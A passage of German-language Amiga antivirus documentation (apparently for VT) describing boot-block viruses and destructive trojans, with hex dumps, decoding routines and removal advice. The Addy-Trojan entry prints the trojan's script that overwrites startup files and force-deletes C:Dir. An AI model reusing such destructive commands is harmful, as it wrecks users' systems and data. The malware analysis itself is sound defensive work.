  511.    - 16 Bit Crew   Cool, im Prg. noch DoIo, FastMem ja, im Speicher
  512.       immer ab $7ec00
  513.       Vermehrung: ueber BB
  514.       im BB steht unverschluesselt:
  515.       The 16 Bit Crew 1988
  516.  
  517.    - 16BIT-TAI8-Clone
  518.       Nur Text geaendert:
  519.            00000000 000003f2 00000000 38543841 ............8T8A
  520.            3849382e 2e2e2e2e 00000000 00000000 8I8.............
  521.  
  522.    - 2001     SCA-Clone, Cool immer 7EC3E, nur anderer Text
  523.  
  524.    - 3F2 fehlt
  525.       Eine Fehlermeldung
  526.       VT hat versucht, etwas an einem File zu veraendern. Dabei, und NUR
  527.       in diesem Fall, hat VT festgestellt, dass am Fileende die Kennung
  528.       3F2 fehlt. Bitte ueberpruefen Sie, ob nicht schon beim verseuchten
  529.       File die Fileende-Kennung (3F2) fehlt. Diese Files sind dann nicht
  530.       zu retten.
  531.       Hinweis: Es gibt einen uralten Cruncher, der die Endekennung ent-
  532.       gegen RKM-Vorgaben weglaesst.
  533.  
  534.    - 666!-Trojan   Zerstoerungsfile
  535.       Anderer moeglicher Name: WBPrefs
  536.       Laenge ungepackt:  63140 Bytes
  537.       Laenge CrunchMania gepackt: ??????  wird gesucht !!!!
  538.       Keine verbogenen Vektoren
  539.       Nicht resetfest
  540.       Namensbegruendung:
  541.          Ueberschreibt Medium mit 666! (s.u.)
  542.          Gibt am Ende der Arbeit einen Bildschirm aus:
  543.               - heller Hintergrund
  544.               - graue Schrift sehr gross   666!
  545.          Mit der li. Maustaste koennen Sie dann abbrechen.
  546.       Laut Mitteilung soll am Anfang der startup-sequence stehen:
  547.                   SYS:C/WBPrefs
  548.       Da kein User bereit ist, ein Zerstoerungsprogramm aufzurufen, ver-
  549.       mute ich, dass es ein Install-Prg. gibt.
  550.       Ich suche also dringend das Install-Prg. und WBPrefs crunchmania-
  551.       gepackt. Ich bedanke mich schon jetzt fuer Ihre Mithilfe. Danke
  552.  
  553.       WBPrefs aus der startup-sequence gestartet, erstellt ein Prozess.
  554.                Fileauszug von WBPrefs:
  555.           70144e75 646f732e 6c696272 61727900 p.Nudos.library.
  556.           616d6967 616c6962 2e70726f 63657373 amigalib.process
  557.       Sinnvolles macht das File nicht.
  558.       Dieser Prozess holt in gewissen Zeitabstaenden die Systemzeit
  559.       (DateStamp-Struktur).
  560.       Sobald dann die Systemzeit zwischen 5.00 und 8.00 Uhr liegt, wird
  561.       diese Schleife verlassen.
  562.       Wenn Sie eine richtig gehende Hardwareuhr haben, eine ungewoehnliche
  563.       Zeit, aber SEHR gefaehrlich fuer Mailboxen.
  564.       Wenn Sie keine Uhr im Amiga haben oder die Uhr verstellt ist, koennen
  565.       Sie natuerlich auch um 16.00 Uhr (echt) eine Systemzeit von 6.00 Uhr
  566.       haben.
  567.       Danach:
  568.            - ein Speicherbereich wird mit eori.b #$8E,d0 decodiert.
  569.              Es ergibt sich S:HORSE
  570.              Es wird nun versucht dieses File zu oeffnen. Falls ja,
  571.              dann Programmende. Also wahrscheinlich ein Schutz fuer
  572.              den Programmierer.
  573.            - Ueber DosEnvec Test ob
  574.                - Low-Zyl hoeher 0
  575.                - mehr als #22 Sektoren
  576.                - oder mehr als #100 Zylinder
  577.                - oder mehr als 2 Koepfe
  578.          Falls nicht mindestens eine Bedingung erfuellt ist => Abbruch
  579.       Das kommt Ihnen bekannt vor. Richtig: lesen Sie bei ModemCheck-Virus
  580.       nach.
  581.       Die gefunden Medien werden zerstoert.
  582.                   lZyl 0 Bl 0
  583.            0000: 36363621 36363621 36363621 36363621 666!666!666!666!
  584.            0010: 36363621 36363621 36363621 36363621 666!666!666!666!
  585.            0020: 36363621 36363621 36363621 36363621 666!666!666!666!
  586.       Durch die Zerstoerungsroutine werden die Bloecke mit 666!
  587.       aufgefuellt.
  588.       Es gibt leider KEINE Rettung fuer das Medium. Es bleibt nur
  589.       Format.
  590.       Am Schluss wird noch eine Graphik ausgegeben. s.o.
  591.       VT versucht den Prozess abzuschalten.  GURU-Gefahr
  592.       VT erkennt NUR das ungepackte File und bietet Loeschen an.
  593.       Vergessen Sie bitte nicht die Zeile in der startup-sequence auch
  594.       zu loeschen
  595.         
  596.    - 67-Trojan   (Computer-Uebernahme)
  597.           siehe bei Port-67-Trojan
  598.  
  599.    - A.H.C.-Virus   BB   nur KS1.3  immer ab $7FA00
  600.       Cool $7FAFE, DoIo 7FFB3E
  601.       Sollte auch mit KS1.2 laufen. Leider hat der Superprogrammierer
  602.       beim Nachbau $23FC mit $33FC verwechselt. Ja das Augenlicht !!!
  603.       Ursprung: groessere Teile wurden bei Sherlock_Anti.BB abge-
  604.       kupfert.
  605.       Fordert trackdisk.device NICHT !!!!
  606.       Namensbegruendung: siehe unten
  607.       Schaeden: gibt immer wieder mehrere verschiedene Alert-Meldungen
  608.       aus. siehe unten
  609.       Vermehrung: BB
  610.       Im BB ist zu lesen:
  611.            790005bc 2048656c 6c6f2c20 412e482e y... Hello, A.H.
  612.            432e2073 7065616b 696e6720 68657265 C. speaking here
  613.            21212120 20200050 32d02020 20505245 !!!   .P2.   PRE
  614.            53532052 49474854 20425554 544f4e20 SS RIGHT BUTTON
  615.            20200050 50b42020 466f7220 6120676f   .PP.  For a go
  616.            6f642046 75636b2e 2e2e2041 2e482e43 od Fuck... A.H.C
  617.            2e212020 00202020 20200000 05e62049 .!  .     .... I
  618.            606d2074 68652041 2e482e43 2e2d5649 `m the A.H.C.-VI
  619.            52555320 00505000 20202020 20202020 RUS .PP.
  620.            20202020 20202020 20202020 20204920               I
  621.            636f6e74 726f6c20 796f7572 20636f6d control your com
  622.            70757465 72212121 00505000 00000000 puter!!!.PP.....
  623.            002e1eb0 2045696e 20647265 69666163 .... Ein dreifac
  624.            68657320 4d69746c 65696420 66fc7220 hes Mitleid f.r
  625.            41746172 69535400 50330020 412e482e AtariST.P3. A.H.
  626.            432e2028 68616861 68612920 20202020 C. (hahaha)
  627.            20202020 20202020 20202020 20202000                .
  628.  
  629.    - A.I.S.F.-Virus   File  Laenge: 8708 Bytes
  630.        Von der Definition kein Virus, da keine Vermehrung.
  631.        Reines Zerstoerungsprogramm
  632.        Speicher: immer ab $7F000
  633.        verbogener Vektor: $6c (Zeropage)
  634.        Versucht durch die Anzeige einer Fensterleiste mit dem Titel
  635.             Virus-Checker V6.72
  636.        zu taeuschen. Diese Version gibt es am 08.09.93 noch gar nicht.
  637.        Die Leiste ist FUNKTIONSLOS !!!
  638.        Ich vermute deshalb, das das Programm unter dem Namen Virus-Checker
  639.        verbreitet wird. Ueberpruefen Sie bitte auch ihre startup-sequence.
  640.        Namensbegruendung:  (im File zu lesen)
  641.            72790000 56495255 532d4348 45434b45 ry..VIRUS-CHECKE
  642.            52205636 2e373200 62792041 2e492e53 R V6.72.by A.I.S
  643.            2e462e20 21212100 41000000 00000000 .F. !!!.A.......
  644.        Schaden:
  645.        Erhoeht ueber $6c eine Zaehlzelle. Sobald der Wert $50000 er-
  646.        reicht ist wird eine Decodier-Routine ( EORI.B #$F7,(A0)+ ) an-
  647.        gesprungen. Es ergibt sich:
  648.            4e710096 14212121 20435249 4d452044 Nq...!!! CRIME D
  649.            4f204e4f 54205041 59202121 21000100 O NOT PAY !!!...
  650.            7d2d5748 59204152 4520594f 55205357 }-WHY ARE YOU SW
  651.            41505049 4e472049 4c4c4547 414c2053 APPING ILLEGAL S
  652.            4f465420 3f000100 aa464245 43415553 OFT ?....FBECAUS
  653.            4520594f 55204152 45204120 4352494d E YOU ARE A CRIM
  654.            494e414c 20212121 21000100 d755414e INAL !!!!....UAN
  655.            44204245 20535552 453a0001 00966957 D BE SURE:....iW
  656.            45202841 2e492e53 2e462e29 2057494c E (A.I.S.F.) WIL
  657.            4c204745 5420594f 55202100 0100967d L GET YOU !....}
  658.            2841294e 54490001 00968728 4929494c (A)NTI.....(I)IL
  659.            4c454741 4c000100 96912853 29574150 LEGAL.....(S)WAP
  660.            50494e47 000100be a0284629 4f554e44 PING.....(F)OUND
  661.            4154494f 4e000100 beaa2d50 52455353 ATION.....-PRESS
  662.            204d4f55 53452054 4f20434f 4e54494e  MOUSE TO CONTIN
  663.            55452d00 00000000 00000c0a 9b33336d UE-..........33m
  664.        Dieser Text wird mit DisplayAlert ausgegeben. Sobald Sie die
  665.        Maustaste klicken, beginnt der Laufwerkskopf zu steppen. Bitte
  666.        tun sie das ihrem Laufwerk nicht zu lange an. Ein Tastatur-
  667.        Reset hilft NICHT. Sie muessen den Computer ausschalten !!!
  668.        In diesem File befindet sich noch mehr Muell.
  669.  
  670.    - AAA-Enhancer-Bomb    Zerstoerungsprg.   Laenge: 3984 Bytes
  671.        KS2.04: ja
  672.        KS3.0 : ja
  673.        verbogener Vektor: DosWrite
  674.        Resetfest: Nein
  675.        Vermehrung: Nein
  676.        Namensbegruendung:
  677.           Fensterleiste:
  678.                                      5241573A              RAW:
  679.           302F302F 3634302F 3230302F 4141412D  0/0/640/200/AAA-
  680.           456E6861 6E636572 20342E38 20627920  Enhancer 4.8 by
  681.           usw.
  682.        Taeuschtext:
  683.           Im Fenster wird ein Text ausgegeben, in dem behauptet
  684.           wird, dass dieses Prg. im A1200 und A4000 AAA-Chipset
  685.           aktiviert. Nebenbei wird versucht, den Ruf von SHI zu
  686.           schaedigen.
  687.        Schaeden:
  688.          Verbiegt DosWrite, sucht bei jedem Schreibzugriff nach
  689.          Worten und Zahlen und versucht sie durch andere zu er-
  690.          setzen.
  691.        Wortdreher auch umgekehrt:
  692.          perverse-reliable  Computer-vibrator  sexual-actual
  693.          friend-bugger  pocket-vagina  follow stroke
  694.          randy-ready  blood-sperm  bitch-woman  head-hole
  695.          rich-poor  warm-cold  open-lock  love-hate  meet-fuck
  696.          lift-drop  girl-wife  kill-kiss  look-piss  nice-shit
  697.          soft-hard  ball-hand  cock-nose  dear-dead  skin-cunt
  698.          egg-lip  car-ass
  699.        Zahlendreher auch umgekehrt:
  700.          0-9  1-8  2-7  3-6  4-5
  701.        Waehrend die Wortdreher die Lauffaehigkeit kaum beeinflussen,
  702.        wird durch die Umwandlung von $30 (0) in $39 (9) ein Programm
  703.        zerstoert, da diese Hexwerte auch in Befehlsfolgen vorkommen.
  704.        Als Beispiel steht unten der letzte Teil eines alten Echo-Be-
  705.        fehls. Erstellung des zerstoerten Echo-Befehls: Ein DirUtility
  706.        wurde geladen und der echo-Befehl von df0: nach df1: kopiert.
  707.            echo orig:                      echo zerstoert:
  708.       340: 7420746f 20454348 t to ECH 340: 7420746f 20454348 t to ECH
  709.       348: 4f0a0000 42a90004 O...B... 348: 4f0a0000 42a90004 O...B...
  710.       350: 2401e58a 76001630 $...v..0 350: 2401e58a 76001639 $...v..9
  711.                           ^^                              ^^
  712.       358: 28002343 00087201 (.#C..r. 358: 28002343 00087201 (.#C..r.
  713.       360: 2341000c b2a90008 #A...... 360: 2341000c b2a90008 #A......
  714.       368: 6e00005c 2411e58a n..\$... 368: 6e00005c 2411e58a n..\$...
  715.       370: d4817600 16302800 ..v..0(. 370: d4817600 16392800 ..v..9(.
  716.                       ^^                              ^^
  717.       378: 7430b483 6e000016 t0..n... 378: 7439b483 6e000016 t9..n...
  718.              ^^                              ^^
  719.       380: 2611e58b d6817800 &.....x. 380: 2611e58b d6817800 &.....x.
  720.       388: 18303800 7639b883 .08.v9.. 388: 18393100 7630b883 .91.v0..
  721.              ^^^^     ^^                     ^^^^     ^^
  722.       390: 6f000008 22290004 o...").. 390: 6f000008 22290004 o...")..
  723.       398: 4ed62429 0004720a N.$)..r. 398: 4ed62429 0004720a N.$)..r.
  724.       3a0: 4ead0010 2411e58a N...$... 3a0: 4ead0010 2411e58a N...$...
  725.       3a8: d4a9000c 76001630 ....v..0 3a8: d4a9000c 76001639 ....v..9
  726.                           ^^                              ^^
  727.       3b0: 2800d283 74309282 (...t0.. 3b0: 2800d283 74399282 (...t9..
  728.                       ^^                              ^^
  729.       3b8: 23410004 7601d6a9 #A..v... 3b8: 23410004 7601d6a9 #A..v...
  730.       3c0: 000c2203 609a2229 ..".`.") 3c0: 000c2203 609a2229 ..".`.")
  731.       3c8: 00044ed6 00000000 ..N..... 3c8: 00044ed6 00000000 ..N.....
  732.       3d0: 00000001 00000004 ........ 3d0: 00000001 00000004 ........
  733.       3d8: 00000092 000003f2 ........ 3d8: 00000092 000003f2 ........
  734.        VT findet den Verursacher beim Filetest und im Speicher.
  735.        Zerstoerte Files findet der VT   NICHT !!!  Das Virusteil setzt
  736.        KEINEN Merker in befallene Files. Also kann VT nicht entscheiden
  737.        ob $39 wirklich $39 ist oder umgewandelt werden muesste. Sobald
  738.        bekannt ist, dass das File behandelt worden ist, ist die er-
  739.        neute Zahlendrehung natuerlich moeglich. Hat jemand einen Tip,
  740.        wie man die notwendige Behandlung erkennen koennte.
  741.        Schwacher Trost: Bei der erneuten Behandlung des zerstoerten Files
  742.        mit dem Virusteil wird wieder der Originalzustand hergestellt.
  743.        Hinweis: Wurden sehr viele Prge. zum Kopieren markiert, so wurde
  744.        haeufig der RootBlock von DF1: unbrauchbar.
  745.  
  746.  
  747.    - ABLANK11-Trojan  siehe bei KUK_CREW-Trojan
  748.  
  749.    - Abraham     siehe Claas Abraham
  750.  
  751.    - ACCESS FORBIDDEN BB    anderer Name: s.u. bei  VCCofTNT-Virus
  752.  
  753.    - ACCESS FORBIDDEN 2 BB  anderer Name: s.u. bei  VCCofTNT-Virus
  754.  
  755.    - acp.ctrl   Laenge: 56016 Bytes  siehe bei Express 2.20
  756.  
  757.    - ACP3.19-Trojan   s.u. bei UA62-ACP-Trojan
  758.  
  759.  
  760.    - Achtung-Trojan  Zerstoerungsfile
  761.        Filename: Achtung oder Achtung.exe
  762.                  Wird in einem angeblichen Demo-LHA weitergegeben.
  763.        Laenge ungepackt: 14032 Bytes
  764.        Verwendet ungerade Adresse:  lea unger.Adr. ,a0
  765.        Der 68000-Proz. freut sich.
  766.        Keine verbogenen Vektoren
  767.        KEINE Vermehrung
  768.        Empfehlung: Loeschen
  769.        Decodiert mit  subq.b #8,(a0)+  ist im File zu lesen:
  770.           79005241 4d3a5665 72776972 72756e67 y.RAM:Verwirrung
  771.           203e6e69 6c3a2064 72697665 20646830  >nil: drive dh0
  772.           3a206e61 6d652022 4c414d45 52222071 : name "LAMER" q
  773.           7569636b 206e6f69 636f6e73 0052414d uick noicons.RAM
  774.           3a566572 77697272 756e6700 6468303a :Verwirrung.dh0:
  775.           4c414d45 522e4141 41414141 41410000 LAMER.AAAAAAAA..
  776.        Schadensverlauf:
  777.        Im File ist ein Original-Format-File enthalten.
  778.           6d617420 33372e31 30202835 2e362e39 mat 37.10 (5.6.9
  779.           31290a0d 00006963 6f6e2e6c 69627261 1)....icon.libra
  780.        Dieser Teil wird unter dem Namen Verwirrung ins RAM: kopiert.
  781.        Danach soll dh0: schnell mit dem Namen LAMER formatiert wer-
  782.        den. Damit die Sache nicht zu leicht zu reparieren ist, wer-
  783.        den danach neue Files (Laenge $2800) mit dem Namen
  784.        LAMER.AAAAAAAA angelegt. Die 8 A werden dabei immer ver-
  785.        aendert. Meine Empfehlung: Im Schadensfall - wagen Sie einen
  786.        Reset und versuchen Sie mit Disksalv noch etwas zu retten.
  787.  
  788.    - Achtung-CRUa-Trojan  Zerstoerungsfile
  789.        Filename:AmigaRAR.exe
  790.        Laenge: 9024 Bytes
  791.        Das Achtung-File (siehe oben) wurde mit einem bisher (Juli 98)
  792.        Packer (CRUa-Cr.) gepackt. "CRUa" sollte am Fileanfang zu lesen
  793.        sein. Rest siehe oben.
  794.  
  795.    - ADAM BRIERLEY  BB     Cold immer $7E700   KEIN Virus !!!!
  796.        Namensbegruendung:
  797.          2A202020 20434F44 45204259 20204144 *    CODE BY  AD
  798.          414D2042 52494552 4C455920 2020202A AM BRIERLEY    *
  799.        KEINE Vermehrungsroutine !!! Es handelt sich um einen Bootblock-
  800.        lader, was man bei RICHTIGER Reassemblierung leicht feststellen
  801.        kann. Es koennte sich sogar um einen BB handeln, aus dem eine
  802.        Schutzroutine entfernt wurde  (sehr viele NOPs an einer Stelle).
  803.        Warum die Beschreibung doch hier steht und nicht in "VT andere BB"?
  804.        Damit die Erbsenzaehler nicht 2 Texte lesen muessen !!
  805.        VT kennt: 15.10.92
  806.  
  807.    - Addy-Trojan   File
  808.        VT bietet nur loeschen an.
  809.        Keine verbogenen Vektoren
  810.        Nicht resetfest
  811.        Laenge gepackt: 9584 Bytes
  812.        Es wird ein Script-Packer verwendet, den ich bis jetzt nur selten
  813.        gefunden habe.
  814.        Braucht copy, delete mit FORCE (also neuere WB) und wait. Sonst
  815.        Abbruch des Scripts.
  816.        Fuehrt danach Reset aus.
  817.        Im File ist zu lesen:
  818.           6d6f7279 0000434f 4e3a302f 302f3634 mory..CON:0/0/64
  819.           302f3230 302f5465 73743031 0000646f 0/200/Test01..do
  820.           732e6c69 62726172 79007261 6d3a7100 s.library.ram:q.
  821.           72616d3a 54656d70 00006364 2072616d ram:Temp..cd ram
  822.           3a54656d 700a5255 4e200000 00000000 :Temp.RUN ......
  823.             ;.....
  824.           00000000 00000000 00006364 2072616d ..........cd ram
  825.           3a54656d 70200a45 58454355 54452000 :Temp .EXECUTE .
  826.             ;.....
  827.           00000000 00000000 00000000 0a656e64 .............end
  828.           636c690a 0a776169 7420330a 656e6463 cli..wait 3.endc
  829.           6c690a00 00000000 00000004 446f6974 li..........Doit
  830.        Schaeden:
  831.        Schreibt neuen Dir-Befehl (Addy-Dir-falsch s.u.)
  832.        Veraendert startup-Sequence, User-Startup und Shell-Startup.
  833.        Sie muessen jetzt leider auch von diesen Files ein Backup
  834.        auf Disk haben.
  835.        Shell-Startup:
  836.        Vorher:
  837.        ;......
  838.        Alias XCopy "Copy CLONE "
  839.        Nachher:
  840.        ;......
  841.        Alias XCopy "Copy CLONE "
  842.        wAiT 5
  843.        Echo Wait 5 >>Sys:S/sTarTup-sEquEncE
  844.        Startup-Sequence:
  845.        Vorher:
  846.        ;cls
  847.        ;Testzeile
  848.        ;testzeile
  849.        ;testzeile
  850.        Nachher:
  851.        Prompt "aFraId ?..tHe fReAk wAs hEre 2 dEvEstAtE  NDOS:>"
  852.        wAiT 5
  853.        Also einfach den Beginn meiner Startup geloescht !!!!!
  854.        User-Startup:
  855.        Vorher:
  856.        ;......
  857.        ;END AsimCDFS
  858.        Nachher:
  859.        ;......
  860.        ;END AsimCDFS
  861.        wAiT 5
  862.  
  863.        In RAM:T und RAM:Temp sind mehrere Files aufgetaucht, die aber
  864.        durch den RESET wieder verschwinden.
  865.        Ein Beispiel: Doit (ein Script) Inhalt:
  866.          Type Ram:temp/Oups >Sys:s/StaRtup-SeqUeNcE
  867.          Delete C:Dir Quiet Force
  868.          Copy Ram:temp/Dir C:
  869.          eCHo wAiT 5 >>SyS:s/sTarTuP-SeQuEnCe
  870.          eCHo wAiT 5 >>SyS:s/uSeR-StaRtUp
  871.          eChO wAiT 5  >>SyS:S/SheLl-StArtUp
  872.          Echo Echo Wait 5 >>Sys:S/Shell-Startup >>Sys:S/sTarTup-sEquEncE
  873.          Echo Error #0025 Programme Loop Unexpected
  874.          Wait 1
  875.          Test01
  876.  
  877.    - Addy-Dir-falsch:
  878.        VT bietet loeschen an.
  879.        Laenge gepackt:  2784 Bytes
  880.        Laenge entpackt: 8248 Bytes
  881.        Keine verbogenen Vektoren
  882.        Keine Vermehrung
  883.        Die Dir-Funktion wird NICHT erfuellt.
  884.        Im entpackten File ist zu lesen:
  885.           69627261 72790053 3a442d54 4543545f ibrary.S:D-TECT_
  886.           444f435f 4449534b 00000000 00000000 DOC_DISK........
  887.        Nach diesem File wird gesucht. Falls es nicht gefunden wird,
  888.        erfolgt ein RESET.
  889.        Ein D-TECT_DOC_Disk-File enthaelt z.B.:
  890.           4f454e49 580a4144 414d5320 46414d49 OENIX.ADAMS FAMI
  891.           4c592e48 494e5453 0a414456 2057494c LY.HINTS.ADV WIL
  892.           4c592042 45414d49 53482e53 4f4c0a41 LY BEAMISH.SOL.A
  893.           ;usw........
  894.        Es handelt sich also um eine Aufzaehlung von Dateinamen, die sich
  895.        auf der Disk befinden. Der falsche Dir-Befehl schafft nun eine
  896.        Flaeche, auf der die Dateinamen in Gadgets dargestellt werden.
  897.        Eine Zerstoerungs-Routine konnte ich durch diesen Dir-Befehl
  898.        NICHT ausloesen. Trotzdem MUESSEN Sie diesen falschen Dir-Befehl
  899.        ersetzen, da die echten Dir-Funktionen NICHT erfuellt werden.
  900.        Hinweis:
  901.        Sie koennen beim Testen von aelteren PD-Serien durchaus die
  902.        Meldung "Addy-Dir-falsch" erhalten. Das Programm scheint also
  903.        wirklich als eigenstaendiges Programm existiert zu haben.
  904.        Nur heisst da das Programm NICHT dir, sondern 142, menu.exe usw.
  905.        siehe z.B. 17BITb1277 oder 17BITb2193 .
  906.        In diesen Faellen ist es NICHT schaedlich, da es seine Funktion
  907.        erfuellt und der echte Dir-Befehl nicht beruehrt (geloescht) wurde.
  908.        Warum gerade dieses alte Programm im Script (s.o) als Dir ver-
  909.        wendet wird ?  Keine Ahnung !!!
  910.        Nachdem ich mehrfach darauf angesprochen wurde:
  911.        Andere Antivirusprogramme erkennen ein Addy-Teil, auch wenn es
  912.        NICHT "dir" heisst. Es handelt sich hier um FEHLERKENNUNGEN !!!!
  913.        Nachvollziehen koennen Sie das z.B. auf 17BIT-Disks (s.o.)
  914.        Hinweis:
  915.        Mit der Pruefsummenoption (vgl. VT-Prefs) haetten auch aeltere
  916.        VT den Dir-Befehl als veraendert erkannt.
  917.  
  918.    - ADO!-1-assign    Zerstoerung
  919.          Laenge: 3320 Bytes  (also genau wie Original)
  920.          KS1.3 ja
  921.          68040 ja
  922.          Kein Vektor verbogen
  923.          Dieses File soll vom HF-AB3D-Trojan erzeugt werden. Mir ist
  924.          das auf verschiedenen Rechnern NICHT gelungen (s.u.). Ich habe
  925.          das File ausgeschnitten, falls es auf irgendeinem Rechner wirk-
  926.          lich funktioniert. Dieses File ZERSTOERT dann WIRKLICH !!!
  927.          Im File ist zu lesen:
  928.             0000aff5 20790000 01dc20fc 41444f21 .... y.... .ADO!
  929.             51cffff8 4e756772 61706869 63732e6c Q...Nugraphics.l
  930.             69627261 72790000 00000000 00000000 ibrary..........
  931.             73637369 2e646576 69636500 00000000 scsi.device.....
  932.          Zerstoerungsergebnis:
  933.             lZyl 0 Bl 0
  934.             00: 41444f21 41444f21 41444f21 41444f21 ADO!ADO!ADO!ADO!
  935.             10: 41444f21 41444f21 41444f21 41444f21 ADO!ADO!ADO!ADO!
  936.             20: 41444f21 41444f21 41444f21 41444f21 ADO!ADO!ADO!ADO!
  937.                 usw......
  938.          Es wird also auf dem scsi.device jeder Block (AUCH im Rigid-Be-
  939.          reich) mit ADO! gefuellt. Nicht beschaedigt wird omni-scsi.de-
  940.          vice usw. .
  941.          VT bietet File Loeschen an. Schreiben Sie ein Original-assign
  942.          nach c: zurueck.
  943.  
  944.    - ADO!-1-Trojan    Zerstoerung
  945.          Filename: HF-AB3D_Patch 
  946.          Nach File-ID :  Monitor Patch For Alien Breed 3D II
  947.          Filename: EVIL-COMMENT
  948.          Nach File-ID : EVIL COMMENT FOR DAYDREAM - PURE E CODE!
  949.                         AN EVIL STATUS DOOR BY MATHEWS
  950.          Laengen gepackt:   30560 Bytes
  951.          Laengen ungepackt: 44096 Bytes
  952.          KS1.3 ja
  953.          68040 ja
  954.          Kein Vektor verbogen
  955.          Das File enthaelt sehr viel Muell, der nicht ausgefuehrt wird.
  956.          Eine Routine soll ein File c:assign (s.o.) schreiben. Bei mir
  957.          ist auf KEINEM Rechner das File sauber geschrieben worden. Das
  958.          File assign wurde IMMER so lang (egal ob Disk oder Syquest), bis
  959.          das Medium voll war. Mit SID2 konnte ich dann in Abhaengigkeit
  960.          vom verwendeter KS und/oder Prozessor die Filelaenge 0 oder eine
  961.          andere Zahl lesen. Das File konnte mit SID2 immer geloescht wer-
  962.          den. Weitere Schaeden bei diesem Schreibvorgang wurden auf der
  963.          Syquest nicht festgestellt.
  964.          VT bietet Loeschen an.
  965.  
  966.    - ADO!-2-Trojan    Zerstoerung
  967.          Filename: !aNSIaNIMATOR!
  968.          Laengen gepackt:   113320 Bytes
  969.          Laengen ungepackt: 113356 Bytes
  970.          KS1.3 ja
  971.          68040 ja
  972.          Kein Vektor verbogen
  973.          Im File ist zu lesen:
  974.             0000aff5 20790000 01dc20fc 41444f21 .... y.... .ADO!
  975.             51cffff8 4e756772 61706869 63732e6c Q...Nugraphics.l
  976.             69627261 72790000 00000000 00000000 ibrary..........
  977.             73637369 2e646576 69636500 00000000 scsi.device.....
  978.          Unterschied zu Typ-1:
  979.          Es wird nicht versucht, ein c:assign zu schreiben. Dieses Teil
  980.          soll SOFORT zerstoeren und leider funktioniert es auch.  
  981.          VT bietet Loeschen an.
  982.  
  983.    - ADO!-3-Trojan    Zerstoerung
  984.          Filename: AGA_ITALY2.DEMO  Laenge: 113452 Bytes
  985.          Filename: AGA_JHL.prefs    Laenge:  14960 Bytes
  986.          Entpackt ist im AGA_ITALY-File zu lesen:
  987.             55736572 2d537461 72747570 002d5255 User-Startup.-RU
  988.             4e203e4e 494c3a20 5359533a 50726566 N >NIL: SYS:Pref
  989.             732f454e 562d4152 43484956 452f4147 s/ENV-ARCHIVE/AG
  990.             415f4a48 4c2e7072 65667300 00054543 A_JHL.prefs...EC
  991.             484f2000 002d5255 4e203e4e 494c3a20 HO ..-RUN >NIL:
  992.             5359533a 50726566 732f454e 562d4152 SYS:Prefs/ENV-AR
  993.             43484956 452f4147 415f4a48 4c2e7072 CHIVE/AGA_JHL.pr
  994.             65667300 0011203e 3e533a55 7365722d efs... >>S:User-
  995.             53746172 74757000 001f5359 533a5052 Startup...SYS:PR
  996.             4546532f 454e562d 41524348 4956452f EFS/ENV-ARCHIVE/
  997.             4147412e 70726566 73000023 5359533a AGA.prefs..#SYS:
  998.             50524546 532f454e 562d4152 43484956 PREFS/ENV-ARCHIV
  999.             452f4147 415f4a48 4c2e7072 65667300 E/AGA_JHL.prefs.
  1000.                  ;.....
  1001.             312c3135 2900000a 52414d3a 5265626f 1,15)...RAM:Rebo
  1002.             6f740004 4e494c3a                   ot..NIL:
  1003.          Ablauf:
  1004.          Der User soll durch ein Intro getaeuscht werden. In Wirklich-
  1005.          keit wird eine neue Zeile in die User-Startup geschrieben:
  1006.             RUN >NIL: SYS:Prefs/ENV-ARCHIVE/AGA_JHL.prefs
  1007.          Zwei Files werden nach Prefs/Env-Archive kopiert:
  1008.             AGA.prefs  (ein codierter Text)
  1009.             AGA_JHL.prefs  (Trojanteil)
  1010.          Am Ende des Intros wird ein Reboot ausgefuehrt. Dadurch wird
  1011.          sofort ueber die User-Startup das AGA_JHL-File geladen.
  1012.          Entpackt ist in AGA_JHL.prefs zu lesen:
  1013.             00000020 5359533a 50524546 532f454e ... SYS:PREFS/EN
  1014.             562d4152 43484956 452f4147 41322e50 V-ARCHIVE/AGA2.P
  1015.             52454653 0000001f 5359533a 50524546 REFS....SYS:PREF
  1016.             532f454e 562d4152 43484956 452f4147 S/ENV-ARCHIVE/AG
  1017.             412e5052 45465300 0000000f 533a5363 A.PREFS.....S:Sc
  1018.             61726543 726f772e 74787400 00000020 areCrow.txt....
  1019.             5359533a 50524546 532f454e 562d4152 SYS:PREFS/ENV-AR
  1020.             43484956 452f6167 61322e70 72656673 CHIVE/aga2.prefs
  1021.             00000014 433a4564 20533a53 63617265 ....C:Ed S:Scare
  1022.             43726f77 2e747874 0000000e 454e563a Crow.txt....ENV:
  1023.             61676133 2e707265 66730000 000e454e aga3.prefs....EN
  1024.             563a6167 61332e70 72656673          V:aga3.prefs
  1025.          Weiterhin enhaelt das File eingelagert genau das File
  1026.          ADO!-1-assign (siehe oben). Dieses File ist VOLL !!!!
  1027.          zerstoerungsfaehig. ALLERDINGS hat AGA_JHL.prefs dieses
  1028.          File auf KEINEM meiner Rechner je geschrieben, sondern immer
  1029.          vorher abgebrochen. Deshalb wird die Lauffaehigkeit ange-
  1030.          zweifelt. Warum das File AGA_JHL.prefs dann doch von VT er-
  1031.          kannt wird? Damit manche "Erbsenzaehler" beruhigt sind.
  1032.  
  1033.    - AECrack-Trojan   siehe bei WiREFACE-Trojan
  1034.  
  1035.  
  1036.    - AeReg.BBS-Trojan  File  ImplLib gepackt Laenge: 656 Bytes
  1037.                                     entpackt Laenge: 664 Bytes
  1038.        Keine Vermehrungsroutine
  1039.        Keine verbogenen Vektoren
  1040.        Zielgerichtet gegen AmiExpress
  1041.        Soll aus einer unregistrierten Version eine registrierte Version
  1042.        machen.
  1043.        Im entpackten File ist zu lesen:
  1044.         "/X registrator v0.1"
  1045.         "bbs:user.data",0
  1046.         "bbs:user.key",0
  1047.         "bbs:utils/express",0
  1048.         "Registrator for Ami-Express",0
  1049.         "Startup /X 3.9 Crack As Normal2,0
  1050.         "Run Registrator v0.1",0
  1051.         "To Update 3.9 to a Registation /X",0
  1052.         "Registration LRA-11.0089",0
  1053.         "This is an un-registered version of Express",0
  1054.         "Registration UOB-09.0493",0
  1055.         "Registration version of Express v3.9",0
  1056.        Schadensverlauf:
  1057.        Mit dem Open-Befehl aus der dos.lib sollen drei BBS-Files (s.o.)
  1058.        geoeffnet werden (Mode-NewFile) und 11 Bytes geschrieben werden. Die
  1059.        Files haetten dann die Laenge 11 und die Original-Files waeren
  1060.        somit zerstoert, da sie ueberschrieben werden.
  1061.        Da ein Programmierfehler vorliegt (Filehandle !!) werden Files
  1062.        mit der Laenge 0 erzeugt und auch hier sind die Original-files
  1063.        zerstoert.
  1064.        Dringende Empfehlung: sofort loeschen
  1065.        VT.kennt: 12.09.93
  1066.        anderer moeglicher Name: Registrator-Virus
  1067.  
